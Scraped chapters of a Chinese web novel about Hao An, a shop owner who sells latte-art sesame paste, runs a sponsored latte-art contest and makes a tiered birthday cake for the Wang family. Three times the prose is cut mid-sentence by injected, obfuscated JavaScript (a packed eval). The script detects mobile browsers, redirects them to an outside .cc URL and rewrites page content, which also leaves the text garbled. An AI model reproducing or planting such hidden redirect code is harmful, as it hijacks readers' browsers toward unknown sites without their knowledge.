七八勺喂下去，碗才空了一半，小娃娃满足的打了个饱嗝。 剩下的都是自己的拉！小娘子迫不及待的给自己挖了一勺。 芝麻糊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203113|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉稳醇厚，花生糊奶香浓郁，轻轻一抿便消散在唇齿之间。 尤其是这桂花，点睛之笔，像是夜空中的繁星，散播出阵阵的花香。 二十文钱，略贵但值！ 还差一个白果腐竹糖水没试过，小娘子斜眼看了眼旁边的两人，一个坐没坐相，一个吃没吃相，下次还是和表姐来吃吧。 思索间，后面一桌突然传来争辩声。 “你这个画歪了，还是我的好看。” “圆歪了也是圆，分明是你画的死板僵硬，不如我这生动有趣，嫉妒我。” “你着玩意算不上圆就是一个圈。一把年纪手抖不丢人，死鸭子嘴硬才丢人！” “我怎么手抖了？！我现在就重买一份保证画的和这个一模一样！”说完，一位老丈起身下楼。 “老板，我要一份树叶花芝露。”这次老丈没上楼等待，而是守在收银台看好安怎么操作。 只见好安将装着花生糊的杯子倾斜，然后轻轻晃动右手腕，在芝麻糊上轻轻松松的画了几个圆圈，然后用一根签子从圆中划过，一条经脉清晰的枝叶便画好了。 好安动作太快，老丈没看清，但没关系他有钱。于是他迅速地又掏了十文钱，道：“再在一碗！” 十分简单，多看看一定能学会！ 好安记得这位老丈，他已经点了四碗了：“吃太多会加重肠胃负担。” 老丈满不在乎，大手一挥道：“吃不完打包，我家人多。” 好安：“好吧。” 客人都这么说了，没有不给的道理。 好安正要把餐盘递给王秀，让她帮老丈端上去，没想到老丈一把拦住，积极主动道：“我来。” 说完还瞥了要好安刚刚用来作画的签子，腆着老脸问道：“这个有多的么？能卖我一根吗？” 他画的一般一定是用的东西不对！ 好安一愣，随即拿了根新的放在餐盘上，道：“不用买，我送您一根。” 得了同款签子，老丈美滋滋的上楼了，一副利器在手，天下我有的模样。 对拉花产生兴趣的不止老丈，男女老少皆有，所以花芝露卖得最快。未时刚过，花生糊还有大半，芝麻糊已经卖空两桶。 好安忙得根本来不及细想为什么芝麻糊如此受欢迎。 “还有多少份花芝露没上？” “十二碗。”周娟捧着餐盘，脱口而出。 幸亏昨天磨得多，后院还有半桶干粉。 好安估算了一下，对谢宗林道：“花芝露还能再点三十八碗，点餐的时候你注意一下，不能超了。” 说完便回后院煮芝麻糊了。 芝麻、糯米在磨成粉前都翻炒过，可以冲泡即食，但想要芝麻和花生的香气更加浓郁，口感更加细腻，再次加热是必不可少。 煮的时候火候最为重要，还要不停搅拌，避免糊锅。 有现成的粉，芝麻糊很快便煮好了，好安刚回到铺子里，就有好几张嘴问道， “老板，能画一整个狸奴吗？” “老板，能画我家的龟吗？” “老板，能画一个我吗？” …… 好安算是知道花芝露为什么卖得这么好了，原来不是来吃东西的，是来搞艺术的。 好安清嗓说道：“店里目前不提供定制图案，只提供门口宣传单上有的。” “老板，我能自己画吗？”有人问道。 好安点头道：“这个可以。” 拉花没人天生就会，都要练，练不就得买吗？好安小算盘打得啪啪响。 54. 赞助 之前寿宴点心的事情等了很久，好安便以为贺礼的事情也要一段时间，没想到王宁很快就递来消息。 好安：“你家少爷呢？” 平日里和好安打交道都是王宁，今天王宁却没来，传话的是东明。 “少爷本想亲自来的，但寿宴将近，府上今日突然来了不少人。少爷下午又要赶去府城，实在抽不开身，可又想第一时间把这件事告诉好老板，所以才遣我前来。”东明恭敬地站在一旁解释，生怕好安产生不必要的误会。 府城啊，她还没去过呢。 好安摸了摸下巴，问道：“万和县去府城需要多久？” 关注的点好像有点歪。 别人都关注对方的态度，自己有没有被忽视，好安却关注府城远不远。 是生意场上新的策略吗？ 东明想不明白，但还是如实回答：“坐马车早上出发，晚上能到。” 路上不用过夜，好安有些心动。 好记开业快两个月了，从来没放过假呢。 送走东明，好安满脑子都是府城大不大，府城的月亮圆不圆，连吃饭的时候都心不在焉。 面前这道酸辣土豆丝好安已经一根一根的嘬了三四十根，眼看下一筷就要夹到辣椒，谢宗林连忙把它剔走。 和谢宗林手速一样快的是好昕的声音：“姐姐，辣椒。” 好安闻言，这才回神。 东明来的时候谢宗林和好昕不在，见好安魂不守舍的模样二人都以为是贺礼的事情吹了。正要开口安慰，却听好安道：“你说我们放几天假去府城逛一逛怎么样？” 谢宗林点头：“行。” 出去散散心也是好的。 “可是放几天就意味着几天不能赚钱！”好安纠结道。 放假不能赚钱在好安眼里等同于花钱，不开心。 谢宗林：“那就不放。” 他没有底线，好安说啥就是啥。 “可是做人总要出去见见世面。万一府城有新的食材呢？” 好安的脑海里像是有两个小孩在打架，一个拉着她让她赚钱，一个拉着她让她去府城。 谢宗林：“那就少放几天假。” 好安纠结到最后，发现本质是铺子里缺少她这样的综合性人才。 既要会统管铺子，还要会做点心。 铺子管理她发现周娟就不错，但周娟不会做点心。 不行，这种情况以后要是开分店怎么办？总不能把她劈开，一家一半吧。 还是要买人。 但想买到合心意的也要看缘分，急不来。眼下最要紧的事情还是王家老太太的寿宴。 关于贺礼好安心里已经有个大概，就是有些零件需要定制。 好安正拿着纸笔在房里写写画画，谢宗林敲门问道：“明天要准备多少芝麻糊？” 对啊，她怎么把这事忘了！ 今天花芝露卖爆了，她下午还计划趁拉花的热度搞一波大的。 “和今天一样。”好安抬头说道，但并没有起身的打算。 画了七八张零件图，好安顺了一遍顺序，确定没有漏掉的，才把其中两张图小心翼翼的卷了起来。这两张要去铁匠铺打，其他的她明天回一趟好家村让李叔帮忙。 搞完贺礼，好安又抽出一张纸，马不停蹄地写下“第一届好记拉花大赛策划书”几个大字。 〔主题：拉花，绽放生活之美。〕 〔时间地点：十月十八，城北空地。〕 〔对象：不限。〕 〔内容：比赛环节……〕 这可是好记第一次举办如此大规模的活动，好安足足写了九个要点，一直写到亥时才放下笔。 她看了眼窗外，见谢宗林和好昕都没睡便把策划书递给他们，道：“提点建议。” 好昕：“城北空地是衙门在管，他们会给我们用吗？” “租！”好安豪气道。 衙门零零散散的开支一大堆，也不富裕，只要钱到位一切都好说。 谢宗林：“租得不少钱。” “拉赞助。”好安点头道。 谢宗林：“拉赞助是什么意思？” “就是用别人的钱来举办我们的活动。”好安简言之。 谢宗林：“好主意。但会有人愿意吗？” 花别人的钱办自己的事听起来十分不靠谱。 “当然有。”好安说道：“他钱也不白给。谁给我们赞助，我们帮谁打广告扩大知名度。” 好昕：“我们一文不掏吗？” “看情况，我们掏多少取决我们能拉到多少赞助。第一年我估摸还是要掏点的，但要是办的好，以后有得是人想赞助。” …… 三人初步讨论了半个时辰，好安把策划书稍稍做了一些修改填充，便交给好昕誊抄。 第二天一早，好安精神抖擞的张罗起来。 第一步，定场地。 办活动的人一般自家不缺空地，缺空地的人一般办不起活动。所以城北的空地从来没人租过，好安还是第一个。 县丞看了好安的策划书一时有些犹豫。 租吧，那块地只有在逢年过节才会搭台子举办活动，有点官方的意思，租给一个商人好像有点不好看。 不租吧，衙门的冬衣好多年了，今年正想换一批，可手头有点紧。好安给的价格刚好大差不差。 “大人，我媳妇都说我最近累瘦了。” “是啊，最近伙食里都没什么油水。” 和好安交好的几个衙役在一旁帮腔。 县丞想了想，眉毛逐渐舒展。 没人规定衙门不能把空地租给别人用。 见县丞一松动，好安立刻递上白花花的银子。 人为什么要和钱过不去呢。 县丞果断抬手在契书上敲了章。 最基础的一步定好了。好安便开始忙宣传和拉赞助。 宣传到什么程度能影响拉多少赞助，拉多少赞助能决定宣传到什么程度。 二者相辅相成，好安两手一起抓。 宣传单必不可少，横幅也要拉起来。 至于这宣传的纸，横幅的布，通通找赞助！ 好安直接带着横幅模板找上县城最有钱的布行——花见。 花见在城北，门面宽敞，木制牌匾不仅雕刻精美，边上还涂了一层金漆。未进其门便让人感到一股豪气。 走近店内更不用说，迎面就是一面巨大的落地铜镜。柔软的丝绸，华丽的锦缎，色彩丰富让人目不暇接，连小二擦柜台的抹布都是上好的棉布。 好安一只脚刚踏进店里，便有小二恭敬地迎了上来。 “我是好记的东家，想找一下你们掌柜谈一下赞助的事情，可否方便。”好安笑着表明身份和来意。 赞助？ 小二没懂，脸色出现片刻惊愕，但随即收敛，将好安引到一边喝茶，自己跑去通知掌柜。 花见的掌柜皱眉：“赞助是什么东西？来的真是好记东家？” 小二：“对。小的去好记买过东西见过她，确实是好记东家。” 花见的掌柜看了看时间，眼看上午东家安排查账的人就要到了，他没时间见客便道：“好言劝说，让她明天再来吧。” 说话间，门响了，花见的掌柜连忙打发走小二，将来人从后门迎了进来。 来人接过账本，翻了几页道：“先盘一下货。” “好！”花见的掌柜殷勤地捧上一杯热茶。 “喝茶就不必了，下次。”来人走进铺子，眼皮莫名一跳。 另一边，小二如实告知。 好安略有遗憾，刚要起身离开去下一家忽然瞥见一位熟人。 “王掌柜！” 王记酒楼也在好安拉赞助的范围内，只不过放在下午，但现在遇见了就提上来吧。 “好老板，幸会。”王掌柜连忙揉了揉眼皮，趁着好安没靠近，飞速的把账本塞进正在盘点的几匹棉布里。” “王掌柜买布呐？”好安越走越近。 “对，好老板也是来买布？”王掌柜不动声色的挪了挪位置，挡住塞了账本的那匹棉布。 “不是，我来找花见的掌柜聊点事，但他有事，约了明天。”好安随口说道：“这几匹布看着不错，多少钱一匹？” 花见的掌柜刚要开口，却被王掌柜打断：“四两一匹。” 花见的掌柜愣住，这布不是库存布一两一匹吗？ 打扰了。 好安伸出的手和放出去的目光果断缩回，扫过王掌柜时仿佛在说：你好有钱。 “这位是？”好安目光挪向王掌柜身边的人，绫罗绸缎大金戒，白白胖胖福气脸。 王掌柜介绍道：“这位是花见的赵掌柜。好老板不是想和他聊事情吗？他正好有时间了。” 好安在这，他俩也没法一起盘库，还不如把赵掌柜和好安支走，他自己先数数。 赵掌柜：？ 他怎么就有时间了？ 好安拱手：“幸会幸会。” 赵掌柜一头雾水的回礼。 “你们认识？”好安问道。 赵掌柜：“不认识。” 王掌柜：“认识。” 场面一下愣住。 王掌柜连忙找补道：“都是掌柜，相互知道，但私下没什么交集。” “对。”赵掌柜附和道：“这么看也能算认识。” 好安没多想。 王掌柜：“那你们聊，我再逛逛。”说着，抱起塞着账本的布匹准备离开。 “王掌柜要是有空不如也来听听？大好事！”好安笑道：“我请二位掌柜吃饭，边吃边聊。” 好安上次说请他吃饭还是推销冰粉，给王记带来不少生意。 这次会是什么？王掌柜忍不住好奇便答应了。 赵掌柜：不盘了？这就答应了？ 盘货的人都不在了，他还呆这干嘛？ 吃饭的地方就在好记附近，一眼就能看到好记人进人出。 好安趁着菜没上，拿出策划书双手递给二位，并阐述了她的主要意愿：赞助。 赵掌柜一边慢慢翻看，一边偷偷瞅着王掌柜的神色，心里吐槽道：赞助，赞美帮助。不就是捐款吗？还说的这么好听。 “赵掌柜觉得如何？”好安殷切问道。 “啊，这个……”赵掌柜又偷偷瞄了王掌柜一眼，却见王掌柜扭过头去，一副不关我事的模样。 “这个赞助不就是捐款吗？”赵掌柜问出心中所想。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227159|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全不一样！赞助是有商业目的的合作行为，捐款是出于慈善的目的的无偿赠予。赞助会获得明确的回报。”好安解释道。 赵掌柜：“回报方面好老板能不能详细讲讲？” “当然。”好安说着拿出准备好的横幅铺在桌子上。 “这家的布不行，颜色不均，纹理粗糙。”赵掌柜看到自己熟悉的东西立刻职业病犯了。 “这就是普通布行的布，当然不如花见的。”好安笑眯眯道：“您看窗外，好记要举办第一届拉花大赛这个消息已经放出去了，现在每天都有大批大批的人去店里练习。” 赵掌柜抬头便能看到好记，确实队伍都排拐弯了。 “比赛当天有很多人报名参加，观看的人也一定不少。到时候在最显眼的地方挂上用花见布料制作的横幅，花见保证是全场最靓的店。” “可是我们布行针对的都是县里的有钱人，这个活动是什么人都来，对我们意义不大。”赵掌柜并不看好。 好安连忙摇头：“您这话对也不对。” “正因为专门针对有钱人，才要对普通人广而告之。您得让普通人知道这些东西有多贵，不然有钱人把这些上好的布料做成衣服、做成扇子的时候谁知道它是好东西？” “我们不是让普通人买，我们是普及！” “您要向大众暗示，有些东西到了某个阶层才能用得起它。这样它不仅引人购买，还能让未购买的人为您免费宣传！” 就好比现代社会的奢侈品广告，都是用来扫盲的。你如果不告诉我这东西有多贵，我就当你淘宝九块九。 赵掌柜陷入沉默，一会若有所思，一会恍然大悟，就连刚刚一直神游在外的王掌柜听了好安的言论都大为震惊。 “王掌柜你觉得我说的对吗？”好安笑吟吟道。 “有理！” 好安：“那王记准不准备赞助一把？” “这——”王掌柜捋了捋胡子道：“王记是一个酒楼，能赞助什么？” 好安脱口而出：“能赞助钱。” 王掌柜噎住：“涉及账上的东西，少东家不在，我的权限没有这么大。要是赞助一些锅碗瓢盆我倒是能尽一份力。” 这就是要钱没有，其他都行。 好记眨了眨眼，灵机一动道：“您还可以赞助您自己呀！” “赞助我？”王掌柜再次噎住。 “对！”好安拍手道：“比赛当天我们正缺一位想您一样沉稳干练、阅历丰富的主持人！” “主持人？” “就是祭祀时的司仪，婚礼中的傧相，百戏里的竹竿子。” 好安说的这些都是一场活动里的必不可少的人物，王掌柜听了虽然神情不显，但翘起的小胡子已经泄露了他的心情。 原来他在好老板眼里是这样的人。 一场活动的主持人想来也不费太多精力，去试试也无妨，要是以后王记也有这样的活动也算多攒一份经验。 王掌柜成功自我说服。赵掌柜也被好安的普及理论说服，问道：“你能确保当天有很多人前来？” “必须的。”好安在桌子上弹了弹手指，她忽然理解王宁手里为什么总抓着扇子，这时候她也想要一把。 “我们设了奖金，一等奖一名五两银子，二等奖三名各三两银子，三等奖六名各一两银子。” 二十两银子砸下去，还怕没人凑热闹。 赵掌柜满意地点点头，显然对这个奖励很满意。 一顿饭下来宾主尽欢，好安得到了免费的横幅、免费的主持人、免费的桌椅板凳。掌柜们得到了广告位和人生新思路。 这两家赞助还是远远不够的。好安下午又拜访了自己常去的瓷器店。 瓷器店很好说服，装芝麻糊和花生糊的杯碗盘碟就是现成的广告位。 好安一刻钟又收获了免费的用具和五两赞助费。 可好安从瓷器店出来总觉得自己忘了什么重要的东西，这餐具好像没有发挥它应有的价值。 回到铺子，谢宗林拿来一沓报名表。 好安数了数已经三十四张了，现在离太阳下山还有一个半时辰，看来今天五十张稳稳的。 “东家，我可不可以报名？”陈卫趁着好安拉花的间隙问道。 “不可以。”好安一口回绝。 陈卫面露失望，却听好安道：“内部人员参加容易让人觉得徇私舞弊，但只要活动举办成功，我给你们发奖金！” “真的？”陈卫两眼放光，想参赛不过是想多一个赚钱的机会，能不能赢还不确定，但现在只要认真工作就能多拿钱何乐而不为。 好安点头道：“你可以让你妹妹参加，她不是好记的人。” “那我今晚回去就教她！”陈卫兴奋道。 教！ 有什么东西从好安的脑子里一闪而过。 上学时为了提高成绩没少补课，学烹饪后为了提高技术没少上培训班。 课程死贵还不得不去。 这玩意能赚大钱。 如果她开一个拉花培训课！ 一节课按时间收费，再分个大班小班。 来上课你不得有工具吗？再搞几套花里胡哨的器具…… 好安猛地吸了一口气，又有赚钱的好机会了呢。 55. 汤圆酥 因为报名的人太多，好安在大赛前一天举办了一场初赛，筛掉一些拉啥啥不像的选手。就算这样，进入决赛的还有七十三位。 十月十八日，天空澄澈，万里无云，阳光柔和温暖。 比赛还没开始舞台前方就围了一圈又一圈的人。幸亏地方足够宽敞，才没影响交通。 台基搭的不高，一脚便能蹬上。台面上铺着红色布毯，四周围着各式各样的花卉彩纸，看着就喜庆吉祥。 舞台的背景是一个与台齐宽的三折叠木制雕花屏风，中间的屏风上画着几款最基础的拉花图样，两侧写上了这次比赛所有的赞助商。 按照赞助金额排序。 有几家只是因为好记是他们的大客户，碍于情面才赞助了一点。 本以为自家铺子的名字会写在哪个犄角旮旯里，现看到如此醒目的不能在醒目的位置，对好安的安排十分满意，又十分后悔，后悔当时没多赞助点，不然怎能让对家压自己一头。 下次，下次好老板再来拉赞助，他家一定要写在最上面！ 木制屏风的顶上悬挂着巨大得横幅和三朵错落有致的大红花。 红花之间由几条长长的红色和蓝色绸带连接，像一道道倒挂的彩虹。 舞台的两侧是评委席。评委席的台基略高于舞台，一是以示尊重，二是方便观看。 评委席的前方摆放着一条长案，长案上摆放着笔墨纸砚、茶盏香炉。 此次评委席一共九人，六个是前六名赞助商，三个是县里有名书画大师。 比赛流程好安已经和王掌柜对过无数次了。 此次比赛分两个部分，前三场选手通过抽签，两两pk。评委当场实名打分，胜利者进去下一轮，失败者淘汰。 因为人数是奇数，前三轮每轮都会有一人轮空，轮空的人可以直接进入下一场。 直到第四场，也是最终场。赛制改为单人赛制，所有人比赛结束后，根据评分的高低来确定排名。 前三场一路pk下来，刚好十人。 前三名也刚好十人。 可这并不意味着这十人包揽前三名。 第三场和第四场之间好安加了一场复活赛。 复活赛不比赛，比打投。 好安同时推出好记零食小礼包，内有瓜子小木牌。好记的老客户都可免费领取一份。 零食小礼包里的小木牌专门用来打投的。把小木牌送给你支持的选手，获得最多小木牌的选手便能复活。 好安把这个主意和王掌柜确认时，纵横商场几十年的王掌柜也自叹不如。 怪不得少东家十分看重好安。 年纪轻轻但赚钱的法子忒多。 一两瓜子三文钱，价格是王记酒楼的两倍。 明明可以直接抢，但偏偏要你心甘情愿。 第一份免费领取帮好记赚了口碑，就算直接购买，大家因为总价低也愿意花钱。 能进入决赛的这些人，哪个不在好记花钱练了好多次，甚至不少人还报名参加了二百九十九文一节的大师课。 一袋零食小礼包三文钱，它不仅给你小木牌，还给你一包花生瓜子。 这点钱在选手眼里就是毛毛雨。那还不使劲砸钱进决赛。 怪不得这次赞助商里有炒货铺子，还排在第一名，好安这招埋得够深。 评委们都入席了，王掌柜理了理衣服，吉时一到，锣鼓喧天。 …… “经过激烈的角逐，我们见证了很多精美绝伦的拉花作品，现在最后十强选手已经决出。让我们把目光转向复活赛……” 台下，计票员——各赞助商贡献出的伙计正在众目睽睽之下紧张的数着小木牌。 明明风清气爽的天气里硬是逼出一身汗。 王掌柜一手提词卡，一手小喇叭，高声道：“……最后一个名额到底会花落谁家！” 他声音洪亮有力，不仅直击现场的每一个观众心灵，还响彻整个街道。 刚从府城回来路过此处的王宁：我是这几天太累了吗？这离王记酒楼还有好几条街，我怎么听到了王掌柜的声音？ “一定是马车里太闷了！”说着，王宁推开车窗，转头面向车外。 “目前看来，五十八号和二十七号的票数不相上下……”王掌柜的声音再次飘来。 “赶紧停下！” 王宁半身探出车窗，看着不远处熟悉的身影，那不是他家王掌柜吗？ 怎么站在好记的横幅下面？ “你先回去把东西给我哥。” 说完，王宁头也不回地跳下马车，朝前挤去。 “小郎君，不要挤啦，这是我的位置。” 王宁连忙道歉，问道：“这是在举办什么活动吗？” 婶子看王宁态度不错，吐掉口里的瓜子道：“横幅上不写着呢嘛，拉花大赛。” 拉花？大赛？ 他才离家几天，怎么听不懂话了？ 婶子看着脖子伸得跟鹅一样的王宁，说道：“想要好位置下次就早点来。” “是是是。”王宁嘴上敷衍，两眼却扫描着台上的一切。 这个背景屏风的雕花怎么和王记酒楼的一模一样？ 两边桌子上的香炉怎么也这么眼熟？ 还有那个横幅，应该是花见的独家布料。 他要是没看错的话，横幅上写的是好记。 他要是没记错的话，横幅的料子四十两一匹。 每一个都没问题，可连一起就问题大了。好安能花四十两做横幅他倒过来姓。 最后一把木牌递到计票员手中，四周突然静了下来，空气中弥漫着一股紧张的氛围。 随着最后一块木牌掉落桶中，三块木牌之差。二十七号“唰”一下站了起来，激动的满脸通红，手舞足蹈。 “让我们恭喜二十七号，复活成功！”王掌柜振臂高呼。 台下又恢复了喧闹。 人群中的王宁还在大声道：“借过，借过。”一见缝隙就趁机往前挪几步。 少爷我气宇轩昂，耀眼夺目，前面那三个维持秩序的王记酒楼伙计是瞎了吗！ 发冠被撞歪，衣服被卡住，王宁拼了老命才挤到前排。 最后还是站在一旁的好安发现了他，把他从人群里捞了出来。 “你是从府城逃难回来的吗？”好安看着头发松散、衣冠不整的王宁露出嫌弃的表情。 “有水吗？” 刚刚喊得太大声，嗓子有点痒。 “那。”好安指了指观众区的侧边，王秀和陈卫推着一个小推车在卖东西。 白水，一文钱一碗。 奶茶，十文钱一碗。 …… “我请你。”好安难得大方一回，塞给王宁一文钱。 请客还要自己去买，王宁长这么大还是头一次。 一文钱，像是打发路边的乞丐。 要是别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237974|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人给，他肯定当场挂脸。但好安这个大抠搜给就不一样了。 这一文，代表好安对他们友谊的认可，是象征！ 这一文值得…… 赶紧花掉。 一口闷完，嗓子里的痒意逐渐消退，王宁这才有心思搞清一些比赛规则。 他很快就抓住这场比赛最特别的点——零食小礼包。 “三文钱就买你一个自制的小木牌？” 小木牌粗制滥造，王宁不相信能卖的出去，可看见成桶成桶的木牌时，不得不相信。 “还送了瓜子。不，三文钱买瓜子送木牌。”王掌柜插话道。 这就显得很合法。 忽然，锣鼓一响，台上陷入安静，围观的人也不再说话，四周只有漏壶的嘀嗒声。 王宁：“？” “比赛开始了。”好安拉着王宁去了一个视角最佳位。 比赛时间很短，三分钟左右。选手们退场后，作品还摆在台子上，等评委们打分。 王宁占据地利人和，将选手们的一举一动尽收眼底。 拉花和几十年前就行的茶百戏有什么区别？ 王宁不解。 好安拍了拍王宁的肩膀，意味深长道：“时尚就是一个轮回，经典永不落幕。”说着从桌上拿起笔和本子，问道：“你现在看着就闲。来，说说你祖母的喜好忌讳。” 话题转化的如此之快，王宁还在思考好安的轮回说，她已经研好磨，准备下笔了。 “花鸟鱼虫，赤橙黄绿都说说。” 王宁简单的提了两句，比赛也接近尾声。 获得第一名的居然是一位两鬓斑白的老丈。 他喜好茶百戏，隔三差五的在家画上一回。这次一幅临水照花图，技压群雄。 好安决定聘他来好记当拉花师，好解放自己。 比赛散后，很多没过瘾或者没拿名次又不服的人纷纷跑去好记继续比。 而获得名次的，除了一骑绝尘的第一名，其他人都收到挑战书。 这些就不是好安关心的了，只要在好记别打起来一切随意。 好记一下涌入太多人，二楼座无虚席。好安只能请王宁和王掌柜去后院。 王宁熟门熟路地坐下，道：“好记最近有出新点心吗？” “有。”王掌柜更熟门熟路地答道。 王宁：你到底是谁家的掌柜！ 王掌柜也意识到不妥，连忙解释道：“最近常来和好老板对主持的台本，所以这边新品我都知道。” 王宁很快被哄好，毕竟王掌柜不同于其他掌柜，自己刚开始从商也是跟在王掌柜后面。 很快，好安端来一碟子小圆球，色泽金亮，上面点缀着几粒黑芝麻。 “这是什么？” 王宁一口咬下去金黄的外皮酥得掉渣。 “小心烫！”王掌柜连忙提醒道。 紧接着是软糯的内里，唇齿间一下冒出一股黑香的芝麻馅。 爆汁了。 “真烫。” 王宁舌尖被烫到，来回在牙齿上磨蹭。 等馅微凉，又一口气都塞进嘴里。 又酥又糯，又香又甜。 “蛋挞皮裹芝麻馅汤圆。”嘴刁的王宁一口吃出配方。 “对。”好安大方承认。 托拉花的福，这款汤圆酥卖得最好。哪怕后来有其他家模仿，但在拉花大赛的带动下，大伙还是最认好记的汤圆酥。 56. 生日蛋糕 十月二十二，王家寿宴。 天还没亮，好安就拖着一车零零散散的东西上门。 “好姑娘请跟我来。” 王宁提前吩咐过下人，好安一到，便有守夜的丫鬟提着灯笼引她去独院。 头顶一片深蓝，雾气将散未散，王家的宅院已经热闹起来。 各个房间的灯都亮了，下人们轻手轻脚地穿梭在庭院间，将挂在墙上的灯笼一盏一盏点亮。 好安推着车压过落叶枯藤，迸发出一阵噼里啪啦的声音。 二人越走越静，最终停在一个看似荒凉的院子前。 丫鬟帮好安推开院门，点亮灯笼。整个院子才露出藏匿在黑暗中的面貌。 花草凋零，树木也褪去了绿意，但青石板上被打扫的干干净净，枯枝也被修剪的整整齐齐。 丫鬟：“这里是厨房，隔壁是柴房，院里的井也能用。” 院子不大，五脏俱全。 厨房到院子之间还没有楼梯，好安十分满意。 丫鬟伏了身，低头轻声道：“奴婢就守在门口，好姑娘要有什么事可以直接吩咐。” “不用守在门外，还有一个人没到，你去我进来的那个门接应他吧。”好安说道。 谢宗林要忙完铺子的活才有时间赶过来，今天这个东西只靠她一个人搞不定。 “奴婢这就去。”丫鬟伏了伏身，退到门口后连忙转身向外走去。 ———— 好安搬下推车上的两个大桶，将最底下的木箱打开，顿时房间散出甜腻的香气。 三个没有脱模的蛋糕胚整齐的码放在箱子里。 过生日当然要吃生日蛋糕啦。 好安老早就想推出生日蛋糕，硬生生忍住了。 生日蛋糕是个全新的理念。 想要把蛋糕和生日联系在一起，就必须要找个有地位的人助力。 目前王家是最符合的。 人们爱效仿有钱有权的人，总会把上一阶层的生活方式当做标杆。 王家有财有权，不如就通过这次寿宴让王家带带货，同时给大家传递一种地位信号。 为了方便塑形，好安提前一天烤好，然后放进冰窖冷藏一夜。 这次她要做一个超大三层生日蛋糕。 底座抹好奶油，然后层层打桩。 三层刚摞好还没加上配饰就沉得不行。 天刚亮，谢宗林便来了。 他也推来一车的东西。 二人都没时间说话，各忙各的事情。 期间王宁还抽空来了一趟。 一会看好安拿着竹刀这刮刮那戳戳的，一会看谢宗林拿着一套稀奇古怪的东西在组装。 一顿从未见过的操作下来让王宁看入迷了。 看不懂，但一定很厉害。从商多年的直觉告诉他好安又能靠它赚大钱了。 “少爷，祭祖的时间快到了。”东明在一旁小声提醒道。 寿宴前祭祖是习俗，时辰也是请大师算好的，王家子嗣都不得迟到。 王宁一直想问好安她们在做什么，但二人都神情都极为认真和神圣，让人望而生敬不敢打扰。 他只好一句没讲的来，又一句没讲的走了。导致整个祭祖过程中都心不在焉的。 ———— 击鼓三响，鸣磬九声。两拜两扣，祝文赞颂。 接着王家子嗣按照辈分叩礼灌地。 “到我们了。”王宣把神游天外的王宁拉回来。 他赶紧直起身板，插完香后退到一侧。 王宣：“想什么呢？祭祖都能走神。” 王宁四下瞄了瞄，见无人看过来便朝王宣身边凑了凑，小声说道：“想贺礼。” “你的贺礼不是早就准备好了吗？出问题了？” 王宁去年花重金寻找奇石，上个月在吴州发现了一块寿型太湖石。前段时间刚运到了府城，是他亲自去接的。 “不是我的。”王宁说道。 过了片刻又补充道：“好安准备的贺礼会自己转圈。” “你怎么知道？”王宣挑眉。 王宁自从回来后应该忙得没时间出门。 王宁：“她跟我要了个空院子，今早天没亮就来了。” “哪个院子？”王宣面上没有动静，嘴角却微微动了动。 “东侧的翠竹苑。”王宁觉得他哥关注点不对，“你不好奇它为什么会自己转圈吗？” “贺礼是什么到时自会知晓，但你怎么能把客人安排到那么偏僻的地方？” “是她自己要的。今天家里都是人，只有那安静些。” 王宣垂眸不再说话。 焚完祭文锦帛，祭祖正式结束，各房可以回去，但大多数选择留下来陪寿星聊天。 王宣陪聊了几句便悄悄离开，独自一人朝东边走去。快要翠竹苑时，他忽然停下脚步，转身朝南边的赏枫阁走去。 多年未归，难得回家一趟，除了和王宁去过一次好记，王宣最近一直忙着拜访亲长和一些公务。 她好像还不认识自己，突然拜访太过冒昧，于姑娘名声有碍，还是远远的看一眼吧，就一眼。 王老夫人的房间，表姨祖母突然提到了王宣。 “咦，他刚刚还在的呢？”王老夫人环视一圈不见王宣便喊王宁，“你哥呢？” 屋内人多，一人呼一口气把房间呼得暖暖的。王宁今天起得太早，正在后面偷偷打盹，猛地听到自己的名字一惊，顿时睁开双眼 “哥？哥出去，喝茶了。”王宁胡编乱造道。 “宣儿喜静，定时去哪躲清静了。”王老夫人挽着老姐妹的手，笑着催道：“你快去把他喊回来。” 王宁迷茫地应下，出去一问没人知道王宣去了哪。 她们聊的好像挺开心，应该不缺他哥一个，实在追问就把锅甩给他哥。 这样的话他现在就没事了，睡是睡不着了，既然闲着，不如去看看好安在做什么吧。 东边没什么人，温度好像都低了不少，王宁缩了缩肩膀。 还没到翠竹苑，先路过赏枫阁。 赏枫阁在东南侧，登上赏枫阁，东边和南边的大半景色可以揽入眼中。 楼上那道靓丽的身影不正是他消失的哥哥嘛。 枫树都落秃噜了皮，不知道站这么高看啥呢？ 王宁本着为人弟的善良，一声不吭走到王宣背后，幽幽地探出个脑袋，问道：“看什么看得这么入神？” 